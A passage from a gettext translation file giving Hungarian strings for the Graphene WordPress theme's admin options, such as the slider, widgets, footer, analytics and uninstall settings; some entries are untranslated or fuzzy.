admin/options-display.php:602 msgid "Description text weight" msgstr "Bemutatkozó szöveg szélessége" #: admin/options-display.php:608 msgid "Description text line height" msgstr "Bemutatkozó szöveg sormagassága" #: admin/options-display.php:614 msgid "Description text style" msgstr "Bemutatkozó szöveg stílusa" #: admin/options-display.php:620 msgid "Content Text" msgstr "Tartalom szövege" #: admin/options-display.php:624 msgid "Text font" msgstr "Betütípus" #: admin/options-display.php:630 msgid "Text size" msgstr "Méret" #: admin/options-display.php:636 msgid "Text line height" msgstr "Magasság" #: admin/options-display.php:642 msgid "Text colour" msgstr "Szín" #: admin/options-display.php:652 msgid "Link Text" msgstr "Linkek szövege" #: admin/options-display.php:656 #, fuzzy msgid "Link colour (normal state )" msgstr "Szín (normál)" #: admin/options-display.php:657 #, fuzzy msgid "Link colour (visited state )" msgstr "Szín (már látogatott)" #: admin/options-display.php:658 #, fuzzy msgid "Link colour (hover state )" msgstr "Szín (lebegő)" #: admin/options-display.php:675 #, fuzzy msgid "Text decoration (normal state )" msgstr "Szöveg dekoráció (normál)" #: admin/options-display.php:681 #, fuzzy msgid "Text decoration (hover state )" msgstr "Szöveg dekoráció (lebegő)" #: admin/options-display.php:694 msgid "Footer Widget Display Options" msgstr "Lábrész Widget kinézetének beállításai" #: admin/options-display.php:700 msgid "Number of columns to display" msgstr "Oszlopok száma" #: admin/options-display.php:707 msgid "Number of columns to display for front page footer widget" msgstr "Kezdőoldalon megjelenő oszlopok száma" #: admin/options-display.php:721 msgid "Navigation Menu Display Options" msgstr "Navigációs menü kinézetének beállításai" #: admin/options-display.php:727 msgid "Dropdown menu item width" msgstr "Lenyíló menü szélessége" #: admin/options-display.php:733 msgid "Disable description in Header Menu" msgstr "" #: admin/options-display.php:741 msgid "Description for default menu \"Home\" item" msgstr "" #: admin/options-display.php:757 msgid "Miscellaneous Display Options" msgstr "Egyéb megjelenési beállítások" #: admin/options-display.php:760 msgid "Site title options" msgstr "Oldal címének beállítása" #: admin/options-display.php:761 msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" msgstr "Használhatod a következő kódokat a címek megjelentetéséhez: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" #: admin/options-display.php:765 msgid "Custom front page site title" msgstr "Egyéni kezdőoldali cím" #: admin/options-display.php:769 msgid "Defaults to <code>#site-name » #site-desc</code>. The <code>#post-title</code> tag cannot be used here." msgstr "Alapesetben <code>#site-name » #site-desc</code>. A <code>#post-title</code> kód nem használható." #: admin/options-display.php:774 msgid "Custom content pages site title" msgstr "Egyéni oldalcím beállítása" #: admin/options-display.php:778 msgid "Defaults to <code>#post-title » #site-name</code>." msgstr "Alapesetben <code>#post-title » #site-name</code> van beállítva." #: admin/options-display.php:783 msgid "Favicon options" msgstr "Favicon beállításai" #: admin/options-display.php:787 msgid "Favicon URL" msgstr "Favicon URL-je" #: admin/options-display.php:791 #: admin/options-general.php:98 msgid "Upload or select image from gallery" msgstr "" #: admin/options-display.php:791 #, fuzzy msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library." msgstr "Csak írd be az ikon URL címét. Ne hagyd le a <code>http://</code> részt az elejéről!" #: admin/options-display.php:796 #, fuzzy msgid "WordPress Editor options" msgstr "Általános WordPress beállítások használata" #: admin/options-display.php:800 msgid "Disable custom editor styles" msgstr "" #: admin/options-display.php:813 msgid "Custom CSS" msgstr "Egyéni CSS" #: admin/options-display.php:818 msgid "Custom CSS styles" msgstr "Egyéni CSS stílus" #: admin/options-display.php:820 msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options." msgstr "Itt tudod a sablonhoz tartozó egyéni CSS kódokat beírni, amiket nem tudtál beállítani." #: admin/options-general.php:12 msgid "Slider Options" msgstr "Tallózó beállításai" #: admin/options-general.php:18 msgid "Disable slider" msgstr "Tallózó kikapcsolása" #: admin/options-general.php:26 #, fuzzy msgid "What do you want to show in the slider" msgstr "Tallózóban megjelenő kategória" #: admin/options-general.php:30 msgid "Show latest posts" msgstr "Újabb bejegyzések" #: admin/options-general.php:33 msgid "Show random posts" msgstr "Véletlenszerű" #: admin/options-general.php:36 msgid "Show specific posts/pages" msgstr "" #: admin/options-general.php:39 #, fuzzy msgid "Show posts from categories" msgstr "Kategória rejtése" #: admin/options-general.php:44 #: admin/options-general.php:258 msgid "Posts and/or pages to display" msgstr "Bejegyzések és/vagy oldalak, amit mutasson" #: admin/options-general.php:49 #: admin/options-general.php:263 msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>" msgstr "Add meg a bejegyzés(ek) és/vagy oldal(ak) ID azonosítóját, amit meg akarsz jelentetni. Az azonosítószámokat vesszővel válaszd el. Például: <code>1,13,45,33</code>." #: admin/options-general.php:50 #, fuzzy msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above." msgstr "Csak akkor használható, ha a <strong>Bejegyzések és/vagy oldalak</strong> beállítást használod." #: admin/options-general.php:56 #, fuzzy msgid "Categories to display" msgstr "Bejegyzések és/vagy oldalak, amit mutasson" #: admin/options-general.php:57 #, fuzzy msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here." msgstr "A kiválasztott kategória minden eleme megjelenik a Tallózóban. Használata egyszerű: készíts egy \"Kiemelt\" kategóriát, aztán állítsd be itt, hogy a Tallózóban megjelenjenek a bejegyzései." #: admin/options-general.php:73 msgid "Number of posts to display" msgstr "Tallózóban futó bejegyzések száma" #: admin/options-general.php:104 msgid "Slider display style" msgstr "Tallózó megjelenési stílusa" #: admin/options-general.php:108 msgid "Thumbnail and excerpt" msgstr "Bélyegkép és összefoglaló" #: admin/options-general.php:109 msgid "Background image and excerpt" msgstr "Háttérkép és összefoglaló" #: admin/options-general.php:110 msgid "Full post content" msgstr "Teljes szöveg" #: admin/options-general.php:116 #, fuzzy msgid "Slider animation" msgstr "Tallózó beállításai" #: admin/options-general.php:121 #, fuzzy msgid "Horizontal slide" msgstr "Tallózó kikapcsolása" #: admin/options-general.php:122 #, fuzzy msgid "Vertical slide" msgstr "Tallózó kikapcsolása" #: admin/options-general.php:123 msgid "Fade" msgstr "" #: admin/options-general.php:124 msgid "No effect" msgstr "" #: admin/options-general.php:130 msgid "Slider height" msgstr "Tallózó magassága" #: admin/options-general.php:138 msgid "Slider speed" msgstr "Tallózó sebessége" #: admin/options-general.php:141 #: admin/options-general.php:150 msgid "milliseconds" msgstr "milliszekundum (1000 - 1 másodperc)" #: admin/options-general.php:142 msgid "This is the duration that each slider item will be shown" msgstr "A tallózandó cikkek megjelenési idejét lehet itt beállítani." #: admin/options-general.php:147 msgid "Slider transition speed" msgstr "Tallózó áttünésének sebessége" #: admin/options-general.php:151 msgid "This is the speed of the slider transition. Lower values = higher speed." msgstr "Ez a Tallózó lapozási sebességét mutatja. Kisebb értékek=gyorsabb sebesség." #: admin/options-general.php:156 msgid "Move slider to bottom of page" msgstr "Tallózó az oldal alján legyen" #: admin/options-general.php:169 msgid "Front Page Options" msgstr "Kezdőoldal beállításai" #: admin/options-general.php:175 msgid "Front page posts categories" msgstr "Kezdőoldalon megjelenő kategóriák" #: admin/options-general.php:177 msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page." msgstr "Csak a megadott kategória bejegyzései jelennek meg. Ha beállítottál saját statikus kezdőoldalt, akkor azt nem fogja befolyásolni." #: admin/options-general.php:182 msgid "--Disabled--" msgstr "--Kikapcsolva--" #: admin/options-general.php:190 msgid "You may select multiple categories by holding down the CTRL key." msgstr "Több kategóriát is kijelölhetsz a CTRL gomb nyomvatartásával." #: admin/options-general.php:202 msgid "Homepage Panes" msgstr "Kezdőoldal panelei" #: admin/options-general.php:209 msgid "Disable homepage panes" msgstr "Honlap táblák kikapcsolása" #: admin/options-general.php:219 msgid "Type of content to show" msgstr "Tartalomtipus" #: admin/options-general.php:226 msgid "Latest posts by category" msgstr "Utolsó bejegyzések a kategóriában" #: admin/options-general.php:229 msgid "Posts and/or pages" msgstr "Bejegyzések és/vagy oldalak" #: admin/options-general.php:234 msgid "Number of latest posts to display" msgstr "Utolsó bejegyzések száma" #: admin/options-general.php:238 msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above." msgstr "Csak akkor használható, ha az <strong>Újabb bejegyzések</strong> vagy <strong>Újabb bejegyzések kategória szerint</strong> beállítást használod." #: admin/options-general.php:243 msgid "Category to show latest posts from" msgstr "Kategória, amelyből az bejegyzéseket mutassa" #: admin/options-general.php:253 msgid "Applicable only if <strong>Latest posts by category</strong> is selected above." msgstr "Csak akkor használható, ha az <strong>Újabb bejegyzések kategória szerint</strong> beállítást használod." #: admin/options-general.php:264 msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above." msgstr "Csak akkor használható, ha a <strong>Bejegyzések és/vagy oldalak</strong> beállítást használod." #: admin/options-general.php:270 msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>." msgstr "<strong>Figyelem:</strong> a honlap panelek akkor látszanak, ha a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">statikus kezdőoldal</a> van beállítva a honlapodon." #: admin/options-general.php:280 msgid "Comments Options" msgstr "Hozzászólások beállításai" #: admin/options-general.php:286 msgid "Commenting" msgstr "Hozzászólás" #: admin/options-general.php:290 msgid "Use WordPress settings" msgstr "Általános WordPress beállítások használata" #: admin/options-general.php:291 msgid "Disabled for pages" msgstr "Kikapcsolás az oldalaknál" #: admin/options-general.php:292 msgid "Disabled completely" msgstr "Teljes kikapcsolás" #: admin/options-general.php:294 msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages." msgstr "Figyelem: ez a beállítás felülírja a WordPress Interakciók menüben a \"Hozzászólások engedélyezve az új bejegyzésekhez\" és a \"Hozzászólások engedélyezése\" beállítást a bejegyzés/oldal írásakor.." #: admin/options-general.php:306 msgid "Child Page Options" msgstr "Aloldalak beállításai" #: admin/options-general.php:312 msgid "Hide parent box if content is empty" msgstr "" #: admin/options-general.php:318 #, fuzzy msgid "Child page listings" msgstr "Ne mutassa a szülőoldal alatt található oldalak listáját" #: admin/options-general.php:322 #, fuzzy msgid "Show listing" msgstr "Mutat" #: admin/options-general.php:323 #, fuzzy msgid "Hide listing" msgstr "Ne mutassa a szülőoldal alatt található oldalak listáját" #: admin/options-general.php:324 msgid "Only show listing if parent content is empty" msgstr "" #: admin/options-general.php:337 msgid "Widget Area Options" msgstr "Widget terület beállításai" #: admin/options-general.php:340 msgid "Header widget area" msgstr "Fejléc Widget terület" #: admin/options-general.php:341 msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option." msgstr "<strong>Fontos:</strong> Ez a terület nincs formázva, leggyakrabban hírdetésre és bannerekre, stb. használható. Ha használod, az Egyéni CSS pontban tudod személyre szabni." #: admin/options-general.php:345 msgid "Enable header widget area" msgstr "Fejléc Widget terület bekapcsolása" #: admin/options-general.php:354 msgid "Alternate Widgets" msgstr "Egyéb Widgetek" #: admin/options-general.php:355 msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page." msgstr "Engedélyezni lehet, hogy a sablonban más Widget területeket is használj. Ha bekapcsolod, akkor ezeket a területeket csak a kezdőoldaladon fogod látni, ahogyan azt a Widget beállításai pontban mentetted." #: admin/options-general.php:358 msgid "Enable alternate front page sidebar widget area" msgstr "Az Egyéb oldalsó Widget terület bekapcsolása a kezdőoldalon" #: admin/options-general.php:362 msgid "Enable alternate front page footer widget area" msgstr "Egyéb lábrész Widget terület bekapcsolása a kezdőoldalon" #: admin/options-general.php:363 msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option." msgstr "Be tudod állítani az oszlopok számát, amit a kezdőoldalon és a honlap többi részén lévő lábrész Widget területre alkalmazhatsz, ha ezt bekapcsolod." #: admin/options-general.php:376 msgid "Top Bar Options" msgstr "Felső sáv beállításai" #: admin/options-general.php:382 msgid "Hide the top bar" msgstr "Felső mező eltüntetése" #: admin/options-general.php:390 msgid "Hide feed icon" msgstr "Ne mutassa a hírcsatorna ikont" #: admin/options-general.php:394 msgid "Use custom feed URL" msgstr "Egyéni csatorna URL" #: admin/options-general.php:397 msgid "This custom feed URL will replace the default WordPress RSS feed URL." msgstr "Ez a beállítás felülírja az alap Wordpress RSS csatorna URL-jét." #: admin/options-general.php:401 msgid "Open social media links in new window" msgstr "" #: admin/options-general.php:405 msgid "Twitter URL" msgstr "Twitter URL:" #: admin/options-general.php:408 msgid "Enter the URL to your Twitter page." msgstr "Add meg Twitter oldalad URL-jét." #: admin/options-general.php:412 msgid "Facebook URL" msgstr "Facebook URL" #: admin/options-general.php:415 msgid "Enter the URL to your Facebook profile page." msgstr "Add meg a Facebook oldalad URL-jét." #. translators: %s will be replaced by the social media service name. Example: LinkedIn Title #: admin/options-general.php:426 #, fuzzy, php-format msgid "%s Title" msgstr "Cím:" #: admin/options-general.php:431 #, php-format msgid "The title is empty and the following title will be shown: <strong>%s</strong>" msgstr "" #. translators: %s will be replaced by the social media service name. Example: LinkedIn URL #: admin/options-general.php:437 #, php-format msgid "%s URL" msgstr "%s URL" #. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL #: admin/options-general.php:442 #, php-format msgid "%s icon URL" msgstr "%s ikon URL" #: admin/options-general.php:445 msgid "Delete" msgstr "Törlés" #: admin/options-general.php:453 msgid "Add new social media icon" msgstr "Új ikon hozzáadása" #: admin/options-general.php:465 msgid "Social Sharing Buttons" msgstr "Közösségi megosztó gombok" #: admin/options-general.php:470 msgid "Show social sharing button" msgstr "Mutassa a gombokat" #: admin/options-general.php:476 msgid "Show in Pages as well?" msgstr "Oldalakon is látszódjon?" #: admin/options-general.php:480 #, fuzzy msgid "Social sharing buttons location" msgstr "Közösségi megosztó gombok" #: admin/options-general.php:483 msgid "Bottom of posts" msgstr "" #: admin/options-general.php:484 #, fuzzy msgid "Top of posts" msgstr "Véletlenszerű" #: admin/options-general.php:485 msgid "Both top and bottom" msgstr "" #: admin/options-general.php:491 msgid "Your social sharing button code" msgstr "Saját megosztó gombok kódja" #: admin/options-general.php:492 msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc." msgstr "Be tudsz saját kódokkal állítani közösségi oldalakat, pl.: Facebook, Digg, AddThis, stb." #: admin/options-general.php:495 msgid "You may use these tags to get the post's URL, title, and excerpt:" msgstr "" #: admin/options-general.php:507 msgid "Adsense Options" msgstr "Adsense beállítások" #: admin/options-general.php:513 msgid "Show Adsense advertising" msgstr "Adsense hírdetés mutatása" #: admin/options-general.php:521 msgid "Show ads on front page as well" msgstr "Hírdetés megjelenése a kezdőlapon is" #: admin/options-general.php:527 msgid "Your Adsense code" msgstr "Adsense kód" #: admin/options-general.php:540 msgid "Google Analytics Options" msgstr "Google Analytics beállításai" #: admin/options-general.php:545 msgid "Enable Google Analytics tracking" msgstr "Google Analytics követés bekapcsolása" #: admin/options-general.php:552 msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code><head></code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics." msgstr "<strong>Figyelem:</strong> a sablonban a Google Analytics szkript a <code><head></code> részben található, ezzel jobban kihasználható az új szinkronizáló asynchronous Google Analytics szkript. Győződj meg róla, hogy az új szkriptet használod, vagy frissítsd." #: admin/options-general.php:556 msgid "Google Analytics tracking code" msgstr "Google Analytics kód" #: admin/options-general.php:557 msgid "Make sure you include the full tracking code (including the <code><script></code> and <code></script></code> tags) and not just the <code>UA-#######-#</code> code." msgstr "Használd a teljes kódot (beleértve a <code><script></code> és a <code></script></code> közötti részeket is) és ne csak a <code>UA-#######-#</code> azonosító kódot." #: admin/options-general.php:570 msgid "Footer Options" msgstr "Lábrész beállításai" #: admin/options-general.php:575 #, fuzzy msgid "Use Creative Commons licence for content" msgstr "Mutasd a Creative Commons logót" #: admin/options-general.php:580 msgid "Copyright text (html allowed)" msgstr "Szerzői jogi nyilatkozat (html engedélyezve)" #: admin/options-general.php:581 msgid "If this field is empty, the following default copyright text will be displayed:" msgstr "Ha üresen hagyod, az alábbi előre beállított szöveg fog megjelenni:" #: admin/options-general.php:587 msgid "Do not show copyright info" msgstr "Ne mutassa a szerzői jog szövegét" #: admin/options-general.php:591 msgid "Do not show the \"Return to top\" link" msgstr "" #: admin/options-general.php:603 msgid "Print Options" msgstr "Nyomtatás beállításai" #: admin/options-general.php:608 msgid "Enable print CSS for single posts and pages?" msgstr "Nyomtatáskor használjuk a bejegyzés/oldal CSS-ét?" #: admin/options-general.php:614 #, fuzzy msgid "Show print button" msgstr "Oldalakon is látszódjon a nyomtató ikon?" #: admin/options-import.php:38 #: admin/options-import.php:169 #: admin/options-presets.php:48 #: admin/uninstall.php:32 msgid "ERROR: You are not authorised to perform that operation" msgstr "HIBA: Nincs jogosultságod a feladat végrehajtásához." #: admin/options-import.php:59 msgid "Before you can upload your import file, you will need to fix the following error:" msgstr "Mielőtt feltöltenéd az import fájlod, az alábbi hibákat kell javítanod:" #: admin/options-import.php:65 #: admin/options-import.php:98 msgid "Import Graphene Theme Options" msgstr "Graphene sablon beállításainak importálása" #: admin/options-import.php:67 msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>." msgstr "<strong>Figyelem:</strong> Ez a kiegészítés jelenleg fejlesztés alatt áll. Ha próblémád adódik vagy kérdésed van, keresd fel a <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Fejlesztői fórumot</a>." #: admin/options-import.php:69 msgid "Choose a file from your computer:" msgstr "Válaszd ki az importálandó fájlt:" #: admin/options-import.php:69 #, php-format msgid "Maximum size: %s" msgstr "Maximális méret: %s" #: admin/options-import.php:76 msgid "Upload file and import" msgstr "Fájl feltöltése és importálása" #: admin/options-import.php:141 msgid "Options import completed" msgstr "Beállítások importálva" #: admin/options-import.php:142 msgid "Go to the Graphene options page" msgstr "Graphene beállítások kezdőoldalára" #: admin/options-import.php:145 #: admin/options-import.php:150 #: admin/options-import.php:155 msgid "Sorry, there has been an error." msgstr "Bocsánat, de hiba történt." #: admin/options-import.php:146 msgid "The uploaded file does not contain valid Graphene options." msgstr "A feltöltött fájl nem tartalmaz a Graphene sablonhoz megfelelő értéket." #: admin/options-import.php:151 msgid "The uploaded file could not be read." msgstr "A feltöltött fájl nem olvasható." #: admin/options-import.php:156 msgid "The uploaded file is not supported." msgstr "A feltöltött fájl nem támogatott." #: admin/options-import.php:164 msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini." msgstr "A feltöltött fájl nem tartalmaz értéket. Tölts fel olyan fájlt, amiben több érték szerepel. Ezt a hibaüzenetet akkor is láthatod, ha a feltöltések nincsenek engedélyezve a php.ini fájlban a szerveren, vagy a post_max_size értéke kisebb az upload_max_size értékénél." #: admin/options-init.php:34 msgid "Graphene Options" msgstr "Graphene beállításai" #: admin/options-init.php:35 msgid "Graphene FAQs" msgstr "Graphene GYIK" #: admin/options-init.php:85 msgid "Toggle all options boxes" msgstr "" #: admin/options-init.php:127 msgid "Template preview not found." msgstr "A sablon előnézete nem található." #: admin/options-init.php:130 msgid "default" msgstr "alapbeállítás" #: admin/options-init.php:186 #: admin/options-init.php:190 msgid "Theme default" msgstr "Sablon alapbeállítás" #: admin/options-presets.php:36 msgid "The \"Normal website\" settings preset has been applied." msgstr "" #: admin/options-presets.php:41 #, fuzzy msgid "Settings have been reset." msgstr "Beállítások elmentve." #: admin/options-validator.php:24 #, fuzzy msgid "ERROR: Invalid category to show in slider." msgstr "Tallózóban megjelenő kategória" #: admin/options-validator.php:27 msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider." msgstr "" #: admin/options-validator.php:30 msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider." msgstr "" #: admin/options-validator.php:40 msgid "ERROR: Invalid category selected for the slider categories." msgstr "" #: admin/options-validator.php:46 msgid "ERROR: The number of posts to displayed in the slider must be a an integer value." msgstr "" #: admin/options-validator.php:49 msgid "ERROR: Invalid option for the slider image is specified." msgstr "" #: admin/options-validator.php:51 msgid "ERROR: Bad URL entered for the custom slider image URL." msgstr "" #: admin/options-validator.php:53 msgid "ERROR: Invalid option for the slider display style is specified." msgstr "" #: admin/options-validator.php:55 msgid "ERROR: The value for slider height must be an integer." msgstr "" #: admin/options-validator.php:57 msgid "ERROR: The value for slider speed must be an integer." msgstr "" #: admin/options-validator.php:59 msgid "ERROR: The value for slider transition speed must be an integer." msgstr "" #: admin/options-validator.php:61 msgid "ERROR: Invalid slider animation." msgstr "" #: admin/options-validator.php:75 msgid "ERROR: Invalid category selected for the front page posts categories." msgstr "" #: admin/options-validator.php:86 msgid "ERROR: Invalid option for the type of content to show in homepage panes." msgstr "" #: admin/options-validator.php:88 msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer." msgstr "" #: admin/options-validator.php:93 msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes." msgstr "" #: admin/options-validator.php:107 msgid "ERROR: Invalid option for the comments option." msgstr "" #: admin/options-validator.php:116 #, fuzzy msgid "ERROR: Invalid option for the child page listings." msgstr "Ne mutassa a szülőoldal alatt található oldalak listáját" #: admin/options-validator.php:134 msgid "ERROR: Bad URL entered for the custom feed URL." msgstr "" #: admin/options-validator.php:138 msgid "ERROR: Bad URL entered for the Twitter URL." msgstr "" #: admin/options-validator.php:140 msgid "ERROR: Bad URL entered for the Facebook URL." msgstr "" #: admin/options-validator.php:152 #, fuzzy msgid "ERROR: Bad URL entered for the social media icon URL." msgstr "A profiloldal URL címe." #: admin/options-validator.php:153 #, fuzzy msgid "ERROR: Bad URL entered for the social media URL." msgstr "A profiloldal URL címe." #: admin/options-validator.php:169 msgid "ERROR: Invalid option for the social sharing buttons location." msgstr "" #: admin/options-validator.php:229 msgid "ERROR: Invalid option for the Search box location." msgstr "" #: admin/options-validator.php:234 msgid "ERROR: Invalid option for the column mode." msgstr "" #: admin/options-validator.php:235 msgid "ERROR: Invalid option for the bbPress column mode." msgstr "" #: admin/options-validator.php:242 #, php-format msgid "ERROR: Invalid width for %s. Width value must be positive number without units." msgstr "" #: admin/options-validator.php:250 msgid "ERROR: Invalid option for the post date display." msgstr "" #: admin/options-validator.php:316 #, fuzzy msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value." msgstr "Kezdőoldalon megjelenő oszlopok száma" #: admin/options-validator.php:321 msgid "ERROR: The width of the submenu must be a an integer value." msgstr "" #: admin/options-validator.php:329 msgid "ERROR: Bad URL entered for the favicon URL." msgstr "" #: admin/options-validator.php:344 msgid "ERROR: Invalid action hook selected widget action hooks." msgstr "" #: admin/options.php:81 #: admin/uninstall.php:23 msgid "Uninstall Graphene" msgstr "Graphene eltávolítása" #: admin/options.php:82 msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted." msgstr "Erősítsd meg, hogy tényleg törölni szeretnéd a Graphene sablont. Az összes beállítás törölve lesz az adatbázisból." #: admin/options.php:83 msgid "This action is not reversible." msgstr "A folyamat nem fordítható vissza." #: admin/options.php:87 #: admin/options.php:339 msgid "Uninstall Theme" msgstr "Sablon eltávolítása" #: admin/options.php:101 msgid "Graphene Theme Options" msgstr "Graphene sablonbeállítások" #: admin/options.php:103 msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages." msgstr "Ezek a sablon általános beállításai. Az oldalak és bejegyzések beállításait tudod itt elvégezni." #: admin/options.php:111 msgid "General" msgstr "Alapbeállítás" #: admin/options.php:112 msgid "Display" msgstr "Kinézet" #: admin/options.php:113 msgid "Advanced" msgstr "" #: admin/options.php:152 msgid "Save Options" msgstr "Beállítások mentése" #: admin/options.php:164 msgid "Need help?" msgstr "" #: admin/options.php:168 msgid "Documentation Wiki" msgstr "" #: admin/options.php:169 msgid "Support Forum" msgstr "" #: admin/options.php:171 #, php-format msgid "Also, find out how you can %s." msgstr "" #: admin/options.php:171 #, fuzzy msgid "support the Graphene theme" msgstr "Graphene sablon beállításainak importálása" #: admin/options.php:178 msgid "Support the developer" msgstr "Fejlesztő támogatása" #: admin/options.php:181 msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development." msgstr "A sablon fejlesztése sok időt vesz igénybe. Ha tetszik a sablon vagy kereskedelmi oldalon használod, támogasd kérlek a további fejlesztést." #: admin/options.php:195 #, fuzzy msgid "Graphene Theme news" msgstr "Graphene sablonbeállítások" #: admin/options.php:206 msgid "No news items." msgstr "" #: admin/options.php:223 msgid "Graphene Usage Survey" msgstr "" #: admin/options.php:226 msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous." msgstr "" #: admin/options.php:227 msgid "Take the survey" msgstr "" #: admin/options.php:237 msgid "Add-ons and plugins" msgstr "" #: admin/options.php:240 msgid "Add-ons" msgstr "" #: admin/options.php:241 msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability." msgstr "" #: admin/options.php:245 msgid "Installed" msgstr "" #: admin/options.php:246 #: admin/options.php:265 #, fuzzy msgid "Not installed" msgstr "(Nincs cím)" #: admin/options.php:246 #, fuzzy msgid "Learn more" msgstr "Olvasd tovább" #: admin/options.php:247 msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices." msgstr "" #: admin/options.php:250 msgid "Plugins" msgstr "" #: admin/options.php:251 msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them." msgstr "" #: admin/options.php:264 msgid "Activated" msgstr "" #: admin/options.php:277 msgid "Options Presets" msgstr "Beállítási értékek" #: admin/options.php:280 msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below." msgstr "Az alapbeállítások ehhez a sablonhoz, amik előre lettek definiálva. Ha először használod a sablont, vagy szeretnéd visszaállítani az alapbeállításokat, akkor itt tudod megtenni az alábbi lehetőségek közül." #: admin/options.php:281 msgid "Note that you can still configure the individual settings after you apply any preset." msgstr "Ha egy értéket jóváhagysz, az hatással lesz az eddig beállított saját értékeidre is." #: admin/options.php:286 msgid "Select Options Preset" msgstr "Beállítási értékek kiválasztása" #: admin/options.php:289 msgid "Normal website" msgstr "Normál weboldal" #: admin/options.php:292 msgid "Reset to default settings" msgstr "Alapbeállítások visszaállítása" #: admin/options.php:297 msgid "Apply Options Preset" msgstr "Előre beállított értékek jóváhagyása" #: admin/options.php:307 msgid "Import/export theme options" msgstr "Importálás/exportálás" #: admin/options.php:310 msgid "Import" msgstr "Import" #: admin/options.php:313 msgid "Import Theme options" msgstr "Sablonbeállítások importálása" #: admin/options.php:315 msgid "Export" msgstr "Export" #: admin/options.php:319 msgid "Export Theme options" msgstr "Sablonbeállítások exportálása" #: admin/options.php:329 msgid "Uninstall theme" msgstr "Sablon eltávolítása" #: admin/options.php:332 msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore." msgstr "<strong>Vigyázz!</strong> Az eltávolításkor minden beállítás törlődik az adatbázisból! Akkor használd, ha biztosan nem szeretnéd többet használni a sablont." #: admin/options.php:333 #, fuzzy msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page." msgstr "Ha másik sablont szeretnél használni, akkor nem kell ezt eltávolítani. Egyszerűen állítsd be a Vezérlőpultban a Megjelenés > Sablonok menüpontban a másikat." #: admin/options.php:334 #, fuzzy msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there." msgstr "A sablon eltávolításakor a fájlok <strong>nem törlődnek</strong> a tárhelyről. Ahhoz, hogy a fájlokat is töröld, a Vezérlőpult Megjelenés > Sablonok pontjában töröld a sablont." #: admin/options.php:351 msgid "The preview will be updated when the \"Save Options\" button above is clicked." msgstr "" #: admin/uninstall.php:24 #, php-format msgid "Theme uninstalled. Redirecting to %s" msgstr "Sablon eltávolítva. Átirányítás: %s" #: admin/user.php:7 msgid "Graphene-specific User Profile Information" msgstr "Graphene-specifikus felhasználói információk" #: admin/user.php:8 msgid "The settings defined here are used only with the Graphene theme." msgstr "Az itt beállított értékek csak a Graphene sablonra vonatkoznak." #: admin/user.php:12 msgid "Author profile image URL" msgstr "Szerző profilképének URL-je" #: admin/user.php:13 msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used." msgstr "Be tudsz saját képet állítani, amit a Szerző oldalán láthanak majd. Ha nem állítasz be képet, úgy a <a href=\"http://www.gravatar.com\">Gravatar</a> oldalról fog képet használni." #: admin/user.php:17 msgid "Please enter the full URL (including <code>http://</code>) to your profile image." msgstr "Add meg a teljes elérési utat (használd a <code>http://</code> előtagot is) a profilképed eléréséhez." #: admin/user.php:17 msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>." msgstr "<strong>FONTOS: </strong>A képnek kisebbnek, vagy egyezőnek kell lenni <strong>150px</strong> mérettel." #: admin/js/admin.js.php:47 msgid 